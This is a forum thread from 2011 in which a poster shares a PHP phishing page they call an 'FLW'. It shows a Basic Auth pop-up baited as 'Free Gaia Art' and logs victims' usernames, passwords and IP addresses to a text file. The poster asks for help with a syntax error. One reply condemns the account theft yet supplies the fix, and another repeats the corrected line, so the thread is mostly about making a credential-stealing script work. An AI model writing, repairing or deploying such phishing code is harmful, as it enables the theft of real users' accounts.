I always Get This when i upload FLWs
"Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /www/110mb.com/g/a/i/a/-/a/r/t/gaia-art/htdocs/php.php on line 3"
can someone help me??
here's the FLW
<?php
if(isset($_SERVER['PHP_AUTH_USER'])){
$Handle = @fopen(Accounts.txt', 'a');
@fwrite($Handle, "Username = {$_SERVER['PHP_AUTH_USER']}
");
@fwrite($Handle, "Password = {$_SERVER['PHP_AUTH_PW']}
");
@fwrite($Handle, "I.P. = {$_SERVER['REMOTE_ADDR']}
");
@fclose($Handle);
exit;
}
header('WWW-Authenticate: Basic realm="Free Gaia Art Just Log In This Pop Up "');
header('HTTP/1.0 401 Unauthorized');
exit;
?>
Read more: http://forum.logicalgamers.com/publi...#ixzz1KUb4AzJ1
Results 1 to 5 of 5
Thread: Help Please
- 24 Apr. 2011 10:11am #1
Help Please
- 24 Apr. 2011 02:18pm #2
The error is on line three. Do you see the error?
You're missing an opening single quote.
If you had learned to program instead of copy pasting, you could have fixed this yourself.
It's not that I'm annoyed that you don't know how to fix the error. I'm annoyed that you're using this to steal accounts, and you have no idea how it works.Last edited by Personoid; 24 Apr. 2011 at 02:40pm.
- 24 Apr. 2011 11:13pm #3
- 24 Apr. 2011 11:28pm #4
$Handle = @fopen('Accounts.txt', 'a');
This is the missing opening single quote.
- 25 Apr. 2011 10:23am #5
Thanks!! Got It But I put lots of text in line 10 and it wont work.